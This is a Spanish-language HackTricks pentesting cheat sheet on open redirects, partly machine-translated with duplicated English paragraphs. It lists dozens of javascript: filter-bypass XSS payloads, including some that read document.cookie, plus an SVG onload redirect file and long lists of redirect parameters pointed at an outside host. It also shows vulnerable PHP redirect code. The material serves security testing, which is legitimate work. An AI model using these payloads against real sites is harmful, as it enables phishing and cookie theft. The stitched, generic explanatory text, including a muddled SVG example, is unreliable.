hacktricks/pentesting-web/open-redirect.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

14 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Redirección abierta

Redirección a localhost o dominios arbitrarios

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Redirección abierta a XSS

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

Redirección abierta al cargar archivos svg

Descripción

La redirección abierta es una vulnerabilidad que permite a un atacante redirigir a la víctima a cualquier sitio web externo. Esta vulnerabilidad se produce cuando una aplicación web utiliza una entrada no validada para construir una URL que redirige a un sitio externo.

En este caso, la vulnerabilidad se produce al cargar archivos svg. Al cargar un archivo svg malicioso, un atacante puede aprovechar la vulnerabilidad de redirección abierta para redirigir a la víctima a un sitio web malicioso.

Ejemplo

Supongamos que una aplicación web tiene una función de carga de archivos svg y utiliza una entrada no validada para construir la URL de la imagen. El código podría verse así:

<img src="https://example.com/load_image.php?url=<%= params[:url] %>" />

En este caso, el parámetro url no está validado, lo que significa que un atacante puede proporcionar una URL maliciosa que redirigirá a la víctima a un sitio web malicioso. Por ejemplo, el atacante podría proporcionar la siguiente URL:

https://example.com/load_image.php?url=https://malicious.com

Cuando la víctima carga la página, se redirigirá automáticamente a https://malicious.com.

Prevención

Para prevenir la vulnerabilidad de redirección abierta al cargar archivos svg, se deben seguir las siguientes prácticas recomendadas:

  • Validar todas las entradas del usuario antes de utilizarlas para construir una URL.
  • Utilizar una lista blanca de dominios permitidos para las URL de redirección.
  • No permitir que los usuarios carguen archivos svg de fuentes no confiables.
  • Utilizar una política de seguridad de contenido adecuada para evitar la ejecución de scripts maliciosos en archivos svg.
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Parámetros comunes de inyección

Description

Descripción

Open redirect vulnerabilities can be found in any web application that allows users to be redirected to external URLs. These vulnerabilities can be used by attackers to craft malicious links that, when clicked, redirect the user to a phishing site or a site hosting malware.

Las vulnerabilidades de redirección abierta se pueden encontrar en cualquier aplicación web que permita a los usuarios ser redirigidos a URLs externas. Estas vulnerabilidades pueden ser utilizadas por atacantes para crear enlaces maliciosos que, al hacer clic en ellos, redirigen al usuario a un sitio de phishing o a un sitio que aloja malware.

One common way to exploit open redirect vulnerabilities is to inject a malicious URL as a parameter in the application's redirect function. The following are some common injection parameters that can be used to test for open redirect vulnerabilities:

Una forma común de explotar las vulnerabilidades de redirección abierta es inyectar una URL maliciosa como parámetro en la función de redirección de la aplicación. A continuación se presentan algunos parámetros de inyección comunes que se pueden utilizar para probar las vulnerabilidades de redirección abierta:

  • url
  • redirect
  • return
  • returnTo
  • rurl
  • dest
  • destination
  • redir
  • redirect_uri
  • redirect_url

It's important to note that this is not an exhaustive list and that other parameters may also be vulnerable to open redirect attacks.

Es importante tener en cuenta que esta no es una lista exhaustiva y que otros parámetros también pueden ser vulnerables a ataques de redirección abierta.

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Ejemplos de código

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

Descripción

Java es un lenguaje de programación orientado a objetos y multiplataforma. Es utilizado en una gran variedad de aplicaciones, desde aplicaciones de escritorio hasta aplicaciones web y móviles. Java es muy popular en el desarrollo de aplicaciones empresariales y es utilizado en muchos sistemas de backend.

Vulnerabilidades

Open Redirect

Java también es vulnerable a la vulnerabilidad de Open Redirect. Esta vulnerabilidad permite a un atacante redirigir a un usuario a un sitio web malicioso a través de una URL manipulada. Esto puede ser utilizado para phishing o para redirigir a un usuario a un sitio web malicioso que contenga malware.

Para explotar esta vulnerabilidad, el atacante debe encontrar una página que tenga un parámetro de redirección que no esté validado adecuadamente. El atacante puede entonces manipular el valor del parámetro para redirigir al usuario a un sitio web malicioso.

Ejemplo

https://example.com/redirect?url=http://malicious-site.com

En este ejemplo, el parámetro url se utiliza para redirigir al usuario a una URL específica. Si el valor del parámetro no está validado adecuadamente, un atacante puede manipularlo para redirigir al usuario a un sitio web malicioso.

Prevención

Para prevenir la vulnerabilidad de Open Redirect, se debe validar adecuadamente cualquier entrada de usuario que se utilice para redirigir a un usuario a otra página. Esto puede incluir la validación de la URL de destino para asegurarse de que es un sitio web legítimo y la validación del dominio de la URL de destino para asegurarse de que es el dominio correcto.

response.redirect("http://mysafedomain.com");

PHP

Descripción

PHP es un lenguaje de programación de código abierto muy popular utilizado para el desarrollo de aplicaciones web. Es compatible con una amplia variedad de bases de datos y se ejecuta en la mayoría de los sistemas operativos.

Vulnerabilidades

Redirección abierta

Una vulnerabilidad común en las aplicaciones web PHP es la redirección abierta. Esto ocurre cuando una aplicación permite que un usuario redirija a cualquier URL sin verificar si la URL es segura o no. Esto puede ser explotado por un atacante para redirigir a la víctima a un sitio malicioso.

Ejemplo:

<?php
$redirect_url = $_GET['url'];
header("Location: $redirect_url");
?>

En este ejemplo, el valor de $_GET['url'] se utiliza para redirigir al usuario a la URL especificada. Si un atacante proporciona una URL maliciosa, la víctima será redirigida a ese sitio.

Ejemplo de explotación

Supongamos que una aplicación PHP tiene una página de inicio de sesión que redirige al usuario a la página principal después de iniciar sesión. La URL de redirección se especifica en el parámetro redirect_url en la URL de inicio de sesión. Si la aplicación no valida la URL de redirección, un atacante podría proporcionar una URL maliciosa que redirigiría al usuario a un sitio malicioso después de iniciar sesión.

http://example.com/login.php?redirect_url=http://malicious-site.com

En este ejemplo, el atacante ha proporcionado una URL maliciosa que redirigirá al usuario a http://malicious-site.com después de iniciar sesión. Si la aplicación no valida la URL de redirección, el ataque tendrá éxito y la víctima será redirigida a un sitio malicioso.

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Herramientas

Recursos

En https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect puedes encontrar listas de fuzzing.
https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
https://github.com/cujanovic/Open-Redirect-Payloads

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥